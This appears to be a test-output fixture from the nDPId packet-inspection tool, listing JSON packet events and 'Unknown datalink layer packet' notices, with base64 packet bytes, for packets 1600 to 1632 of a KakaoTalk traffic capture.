+00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1600,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":859259,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFYAAEAAHRH9JAHJAa4KGFK8WgQsOABCKhWAbDKZfq4qQ1SapdoDL4GybWHW2L7du0BBgnxcLTME3wMxUMw0C3ydMsJtva\/QkAAp0+6YX5zDz0Rn"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1600,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00524{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1601,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":871283,"pkt_caplen":160,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":160,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJAAAEAAHBH96gHJAa4KGFK8WgYoHAB8mXmAbFATiz7ImguGVRlKdXynPSB\/oJp31zuDTxpSrdpVfw1hTuem9YdsZtjlbzt+krndymO\/Bm4aKjo1SuvmF2Im0s8uYTIVNoZV5sNnahHfN1neFZmSzGlO6foTkmwB\/vzN5iAGJvBDiV9u\/1nWrQgf9cdmmQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1601,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1602,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":879279,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHRH9IQHJAa4KGFK8WgQsOABFoyGAbDKafq4uA1Sapdovea\/BFJT6cJpCHtPDEVGWg\/v0myuL0RpfhF7t6xxtmvBkwYYmBw9DHUzPneJo16BF"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1602,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1603,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":879706,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/XbWAbDLGfq7TA1SapdrpIc70+fTUiPiAL+uWFcNVaCaKYsGxboIgX00NJMK7FJjdWpU92Uoe\/hvO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1603,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00585{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1604,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":899298,"pkt_caplen":208,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":208,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMAAAEAAHBH9ugHJAa4KGFK8WgYoHACsKcSAbFAUiz7MWguGVRlkaHm7ta8aA23ParZEpFfiA1ubXjrBL1KnlPhi3ca2\/QiVGaL9Hd80LyhMHF7qOBvegOjLzaf6lA2ZZS7qAJXXindTobH0syuwdtWdP8BN2BXcZ3BZ0b9y0jWvWyTZk0+WjS+wWTJ9JnzAfrP0U9HQScdYvgJJ7ZHIiZ0oLZASBIfbUqsAqPhxlTAqr2cYKQrifZF9As8ezA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1604,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1605,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":907538,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAPxHbQgoYUrwByQGuLDhaBABM7JyAbFBAiz9xWguGVRkrRsvrZjAGdWwN3vQGbsB6qoVRFwK2CS4Uzvq0aAPb5iDg2fMjd9MuNg6YskOn9q5jh3VqrgOsFA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1605,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00534{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1606,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":908850,"pkt_caplen":171,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":171,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJsAAEAAPxHbBwoYUrwByQGuLDhaBACHtbOAbFBBiz91GguGVRnkXmagTFOyVPfwDT6jMacDq4EAVyLpn4aHI3ND9RK\/8madx01SfAhwpTipK2AURzaIeh9b0HcxX+GJFDNmXwIBcBa5t6U4dwyYE\/OX+tOZjhXagLQM26JvkWxeREnTcOtLWQa8tZjbeVwu9BkUXVQ5c3uO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1606,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00574{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1607,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":909949,"pkt_caplen":201,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":201,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALkAAEAAHBH9wQHJAa4KGFK8WgYoHAClo1iAbFAViz7QGguGVRn2VWE7oIIigE5+PjMBxQAlKZ1ggVF7RjKbtTeUWj6uDeZpplR\/DASJJsNY6BCnEWlUjFR6lifsmAljxzhOaHs3e1GebBlEb2FSGQAuScfBj+BJlsak06sE3OFLuMl+o++\/GwvGlFiu6GhNwVyNxvz0n0J0ZUWEXZBBc1k2udfD8uBs2ekzJTNfCIjQNR5GeDNP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1607,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1608,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":922766,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/+EqAbDLHfq7Ww1Sapdp2OKUBDYfEpXx+lGLAQ1KYHnuduY+Jr3mLAw9lQEKKWspO0haxp+4cvhC2"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1608,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1609,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":944800,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHRH9IQHJAa4KGFK8WgQsOABFjS+AbDKbfq4xw1Sapdp8AMvrxKIaGPEMETTE10VShDQWy4Qn5irF9qQW+o+LuOKbzcNmoPH7VhgmqgqjTqMm"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1609,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00573{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1610,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":951361,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALUAAEAAHBH9xQHJAa4KGFK8WgYoHAChDz+AbFAWiz7T2guGVRlMyxV4WbNXHMjdjlyFGHacTk6D8KOY8c5KHfwmpxLmY1l5xqAjf1SYgTaLsumjCVmIlD9jzS8w\/DWE4VnZbAvr\/gpsTyKnRsrG7oCpZavuRfxH9Qs\/Q7Z0ysS2TsS7Fm+mmtROLz8eLfEM4iUAJPuOz3Tz\/Wblx7jdp\/zLgIFiaDBV7VCXaqh3uDYx5kA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1610,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1611,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":959357,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFcAAEAAHRH9IwHJAa4KGFK8WgQsOABDqYOAbDKcfq41g1SapdqmeCHHC7W0hgVHYkrbuLA9JGTQqK7bcCZCsnDTcPbFK24R+9Ssh9FjD5iLc9sVNg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1611,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1612,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":971411,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHRH9HgHJAa4KGFK8WgQsOABIYsKAbDKdfq45Q1SapdqE\/LK0H+JDTsWDldhKyBEX4Xyxj0wqY3\/JcFlckcDWBHe4DZSNUCuTrYWosCt5EGjebIKJ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1612,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1613,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":979651,"pkt_caplen":143,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":143,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH8AAEAAHBH9+wHJAa4KGFK8WgYoHABrhC6AbFAXiz7XmguGVRkKLiq\/xUzeLPcWE+Xy+VmGTGefVWY1KOIO+C5rBOnRv2gUwqhd9IFcTbuyrkNy5aaWzW6h4BstdOV7GmxdI9bhKYU21kRuMuIiFFKhhTBACUj22L5G7lE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1613,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1614,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":991461,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHBH+GwHJAa4KGFK8WgYoHABLNIuAbFAYiz7bWguGVRmFeAa4\/3KJyTCtYFfH9JpmrGvbGqam98lWZp1cvtOjqGLeN1FEKT4ZUZpjreo9GLQyJm4Sprmw"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1614,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1615,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":991645,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHRH9HQHJAa4KGFK8WgQsOABJ9nSAbDKefq49A1SapdpU2gP0L22O2nqipzcxFMdYb408y+EBPOgnumKoF9VXwTIh3xT\/I4CvqqqDNov1QZWqIND+vA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1615,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1616,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":999396,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABG70qAbDKffq5Aw1Sapdr+I\/mJCIkY1kad9tOTxFw6sBuPDNVz6RVomSZJJ\/vCFQxG7JFduMWSVq+YyaDR6Dhq1A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1616,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1617,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":739,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGdZCAbFAZiz7fGguGVRms9hk3St9dfnOazgwjkuocBVNy\/0tCFNb5KmvA2I4EfJENOAmnRCIuR\/Ijn87OomrETg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1617,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1618,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":3058,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHIAAEAAQBHaMAoYUrwByQGuKBxaBgBeqzCAbDLIfq7ag1SapdrOvXPpMuHnYoFb1lG\/\/RkV2skHbhtuzVZE1SNYkcWyFAFtLrxzY0SEPUitM2\/RjQX+vfk14piX2Idx2YY9r+Wgpfvu70pChck6\/w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1618,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00616{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1619,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":9101,"pkt_caplen":234,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":234,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANoAAEAAPxHayAoYUrwByQGuLDhaBADGgvWAbFBCiz942guGVRnItrwZ+lP1lxRQmtWqfFml7241fmbuLT1P9qU03rIgaN6hotYCoIElZ\/ScBObkXVfS\/HpZFhXzXZdqydLDBoofSC32bynoyKOzLjNL7zoTfNh4QraHTEYF0TjakRq4GG5gIPxLV7fx86QgbOJUIX0Qfg1qd8zJVNbjeFffCRoFe7wPbL2QVBwCEgMWggjRpjy5fc+Y7m9xycqSYKjFDYnt+Sra2S4hFBHxWUu4R6w0X5m9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1619,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00616{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1620,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":9253,"pkt_caplen":230,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":230,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANYAAEAAPxHazAoYUrwByQGuLDhaBADCjG6AbFBDiz98mguGVRnh6IizODz3tO1uRaOCKL5BDZGJaes+mxzFfg6fWPM6XywBpSt9wAfrn6pH2DUE\/SQ1iLd67A9WlgEtu\/nD\/\/w0GTiYEYO8RQdyEDnzJ1z7+mE\/6jhw9rPJTWOZeICBqrKazk\/hnQtkkfkb6EA07eHMO8WUrtEBI30KiXqcAwY+63fTYQwELfp7Wm1lLt2c1UaHIsg41PrQT+WAbqLwfNSxEzE99GcwXAQCbErkrCg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1620,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1621,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":9406,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHBH+IgHJAa4KGFK8WgYoHABECo6AbFAaiz7i2guGVRmXl4\/Kxa9KrkU7RrldcFWvtJaIZ+3Bzhz0LMUtOoXqu8bPxvbukwLbwSDFDvGvLck="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1621,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1622,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":64032,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHBH+GwHJAa4KGFK8WgYoHABLLlKAbFAbiz7mmguGVRkr9Zx8ql94GY+LAdOnY+W1ZL55l81Df7OlSGwR039A007CjQ\/BgPebqL2GGeKmp6s53RGdyqeN"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1622,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00467{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1623,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":64215,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGkAAEAAHRH9EQHJAa4KGFK8WgQsOABVoEOAbDKgfq5Eg1Sapdr8lsLxqhuuwCWPt6Odp21WKrLCX35Kx6+wx08QaSzTOZxmxTP78JsJeYVFkFh5JT5MXxU9xTHUqPY9ZnzbMWUfyg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1623,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1624,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":64643,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLJWqAbDKhfq5IQ1Sapdp0XZ7+I09ThodJ32KUqksv\/xdKMW6hwL3lYyc8WAp8KzyJ04b+tQqRiaM+1L0Het0JsVNMsQot"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1624,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1625,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":64826,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHRH9IgHJAa4KGFK8WgQsOABEM9+AbDKifq5MA1SapdrK0IAEqbD\/+bnCwMUwhcCGhIxeSwyoPkmMiz4YtuBoLzkaBC5vxD+H4Xgnk1FUrkQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1625,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1626,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":71814,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABFf4OAbFAciz7qWguGVRm9mpt90lycwzmclrEW3+bUUKwU3QfxYTQ5QVj8og56lk1C2uLI+ZK1xEs0YrxyHPCN"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1626,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1627,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":79352,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABFBjaAbFAdiz7uGguGVRlq\/DGCnmopYYr\/Ohfo7+iIFOWC+Fjk9hIM+ix9yNutyvzGByG9pKkqEvj9RJjNra8Z"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1627,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00528{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1628,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":84235,"pkt_caplen":168,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJgAAEAAQBHaCgoYUrwByQGuKBxaBgCE1SWAbDLJfq7eQ1SapdpGw0ELEly8k5HnxSG7oSfUJyFZjDPl8lvtimrdQlZjz+M8pmDLnthaPsOj1yNR5VcZykikUKwvQQmEXo8Bx\/0LZij7K4YbH+A+XrrGqQjMV9NDHAjQLVE3CCAiKsuqsT5vIc4P4hFVlbiM1IcutkWB"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1628,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00508{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1629,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":91651,"pkt_caplen":151,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":151,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIcAAEAAHBH98wHJAa4KGFK8WgYoHABzDg2AbFAeiz7x2guGVRmvT2d682jBPz5CwcnlhqeAC2Yod1udVM7zhN1JQl9o24UHzuZ2zUJUYO2T4WpKXktfsys8Wd+OdZVwFYIYA\/mr3VUWoPAZwIeCEI8w6otYthp85HiOL84zide7NuOUMA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1629,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00561{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1630,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":109290,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKwAAEAAPxHa9goYUrwByQGuLDhaBACYUTSAbFBEiz+AWguGVRkg3fw4K+2nB8UF8ouf+1CU7\/v2PFTBRKaWrOzlvPSk7I7u\/Sf\/jXXyxVEW81DY\/aFD5AEop6TayXa2HHXgWCZg9DtyCs1I84heoP3ssj9zGd4dd4gP7jon6vCQhoe+C3LYOta9cDmoZ87wQ\/JRQZYRV2QQPyQdNWouSQJlPgM2TGfYF+8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1630,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1631,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":111090,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFYAAEAAHRH9JAHJAa4KGFK8WgQsOABChUiAbDKjfq5Pw1SapdrFWnS2znAkaIQX2itkolc4SqMtYNKzoAJSP7dEQk0YSg78T4jI2probi4UpDys"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1631,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1632,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069195,"pkt_ts_usec":111701,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHRH9HwHJAa4KGFK8WgQsOABHl56AbDKkfq5Tg1Sapdpocb2fQ7KORrgBKgYXvW7MESGAfyI8pw4ZaVksDdKgC5zqSAJYLoBJrLMK7HTvrsvCyMo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1632,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 